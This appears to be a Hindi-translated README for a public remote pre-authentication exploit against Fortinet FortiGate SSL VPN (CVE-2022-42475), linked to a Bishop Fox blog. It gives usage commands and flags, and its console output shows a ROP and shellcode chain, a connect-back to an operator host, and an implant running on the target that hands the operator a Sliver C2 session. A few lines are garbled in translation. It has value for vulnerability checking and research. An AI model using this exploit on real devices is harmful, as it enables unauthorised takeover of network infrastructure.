
CVE-2022-42475 के लिए एक शोषण, फोर्टिनेट नेटवर्किंग उत्पादों में एक पूर्व-प्रमाणीकरण हीप ओवरफ़्लो
यह ब्लॉग पोस्ट के लिए एक्सप्लॉइट है: https://bishopfox.com/blog/exploit-cve-2022-42475
एक्सप्लॉइट का यह संस्करण आपके, हैकर, द्वारा ROP गैजेट्स आदि के लिए आवश्यक मेमोरी पतों की आपूर्ति किए बिना काम नहीं करेगा। इन आंकड़ों को निर्धारित करने का कार्य गोपनीय और Bishop Fox की संपत्ति है, और मैं इसे इस एक्सप्लॉइट के साथ प्रकाशित नहीं करूंगा (नहीं कर सकता)। मुझे विश्वास है कि आप समझते हैं!
execve(binary_file) को कॉल करता है।नोट: वर्तमान में "केवल सत्यापन" मोड FortiOS के सभी ज्ञात संस्करणों पर काम करता है। हालांकि, एक्सप्लॉइट केवल 100D हार्डवेयर पर FortiOS 6.0.4 के विरुद्ध काम करते हैं। मैं अब BF में काम नहीं करता, इसलिए मैं विस्तारित एक्सप्लॉइट प्रकाशित नहीं कर सकता जो लगभग 18k लक्ष्यों का समर्थन करता हो।
pip3 install PyCrypto
pip3 install pycryptodome
यह बग का शोषण करने का कोई प्रयास नहीं करेगा, बल्कि इसे एक क्रैश के रूप में ट्रिगर करेगा (दूरस्थ SSL VPN डेमॉन स्वचालित रूप से और तुरंत पुनः प्रारंभ होता है)। क्रैश का पता ह्युरिस्टिक रूप से लगाया जाता है और ऑपरेटर को रिपोर्ट किया जाता है।
इसे -v सत्यापन फ्लैग का उपयोग करके चलाएं:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] केवल-सत्यापन मोड में चल रहा है। कोई RCE नहीं।
[>] जाँच रहा है कि लक्ष्य संवेदनशील है या नहीं (इसमें 10 सेकंड लग सकते हैं)
[+] लक्ष्य '192.168.0.10:8443' संवेदनशील प्रतीत होता है
यह बग को ट्रिगर करेगा, एक ROP श्रृंखला तैनात करेगा, और शेलकोड पर कूदेगा। शेलकोड निर्दोष है और इस प्रकार काम करता है:
0xbf/tmp/x में सहेजता है0xbf बाइट भेजता हैफ्लैग:
-t लक्ष्य होस्ट/IP
-p लक्ष्य पोर्ट
-e एक्सप्लॉइट मोड
-c केवल कनेक्ट-बैक मोड
-H और -P ऑपरेटर का IP:port (आवश्यक)
-s FortiOS का सॉफ़्टवेयर संस्करण (आवश्यक)
-m FortiOS चलाने वाला हार्डवेयर मॉडल
-d डिबगिंग चालू करें
एक उदाहरण जहाँ हम सॉफ़्टवेयर संस्करण 6.0.4 और उपकरण मॉडल 100D दोनों चुनते हैं:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] पेलोड को एन्क्रिप्ट करने के लिए यादृच्छिक 128-बिट AES कुंजी उत्पन्न कर रहा है
[+] पेलोड को एन्क्रिप्ट कर रहा है...
[+] कैश्ड शेलकोड का उपयोग कर रहा है। ताज़ा करने के लिए ./x.py संपादित करें ('shellcode.s' देखें)।
[+] 192.168.0.99:443 पर कनेक्ट-बैक के लिए कॉन्फ़िगर किया गया
[+] एन्क्रिप्टेड पेलोड लिसनर प्रारंभ कर रहा है...
[+] एक्सप्लॉइट की तैयारी कर रहा है...
[+] अनुरोध भेज रहा है!
[+] 'exploit_data.json' से गैजेट आयात कर रहा है
[<] लिसनर पोर्ट 443 से बंधा हुआ है, कनेक्ट-बैक की प्रतीक्षा कर रहा है...
[+] गैजेट सत्यापित कर रहा है...
[!] FortiOS '5.2.14' के लिए कोई कार्यात्मक हार्डवेयर मॉडल परिभाषित नहीं किए गए। हटा दिया गया।
[!] FortiOS '5.6.9' के लिए कोई कार्यात्मक हार्डवेयर मॉडल परिभाषित नहीं किए गए। हटा दिया गया।
[+] 797 लक्ष्य आयात किए गए:
[-] 6.0.4 [ 1 targets ] <=== 100D
[-] 5.2.14 [ 47 targets ]
[-] 5.6.9 [ 60 targets ]
[-] 6.0.13 [ 68 targets ]
[-] 6.0.14 [ 67 targets ]
[-] 6.0.15 [ 58 targets ]
[-] 6.0.8 [ 67 targets ]
[-] 6.2.11 [ 69 targets ]
[-] 6.2.7 [ 75 targets ]
[-] 6.4.10 [ 71 targets ]
[-] 6.4.2 [ 62 targets ]
[-] 6.4.3 [ 61 targets ]
[-] 6.4.6 [ 73 targets ]
[-] 6.4.9 [ 72 targets ]
[-] 7.0.4 [ 53 targets ]
[+] एक्सप्लॉइट प्रारंभ कर रहा है
[<] 192.168.0.10:22470 से आने वाला अनुरोध
[<] लक्ष्य से हैलो पैकेट प्राप्त हुआ!! मॉडल #: 100D
[<] 36 बाइट्स का एन्क्रिप्टेड पेलोड भेज रहा है
[<] पेलोड भेजना समाप्त (36 बाइट्स), प्रतिक्रिया की प्रतीक्षा कर रहा है...
[<] 192.168.0.10 से अपेक्षित प्रतिक्रिया ('100D') प्राप्त हुई
[<] लक्ष्य 100% विश्वास के साथ संवेदनशील है।
[+] सब कुछ समाप्त!
यदि आप हार्डवेयर मॉडल चुनने के लिए -m को छोड़ देते हैं, तो एक्सप्लॉइट निर्दिष्ट सॉफ़्टवेयर संस्करण के लिए सभी हार्डवेयर लक्ष्यों पर ब्रूट-फोर्स करेगा।
0xbf/tmp/x में सहेजता है0xbf बाइट भेजता हैexecve("/tmp/x") को कॉल करता हैफ्लैग:
-t लक्ष्य होस्ट/IP
-p लक्ष्य पोर्ट
-e एक्सप्लॉइट मोड
-f filename /path/to/binary/to/execve/on/target
-H और -P कनेक्ट-बैक के लिए ऑपरेटर का IP:port (आवश्यक)
-s FortiOS का सॉफ़्टवेयर संस्करण (आवश्यक)
-m FortiOS चलाने वाला हार्डवेयर मॉडल
-d डिबगिंग चालू करें
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #1
एक्सप्लॉइट:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] एक्सप्लॉइट लक्ष्य पर execve("implant5") का प्रयास करेगा
...
[<] लक्ष्य 100% विश्वास के साथ संवेदनशील है।
[+] सब कुछ समाप्त.
और Sliver में वापस:
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
Logon ID: <err>
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
ध्यान दें कि Sliver <err> लौटाता है क्योंकि FortiOS किसी तरह से Linux जैसा है, और हमेशा उम्मीद के अनुसार काम नहीं करता है। यह FortiOS के साथ एक समस्या है, Sliver के साथ नहीं।
मैं अब Bishop Fox में काम नहीं करता, इसलिए आपको अपडेट के लिए BF github का अनुसरण करना होगा।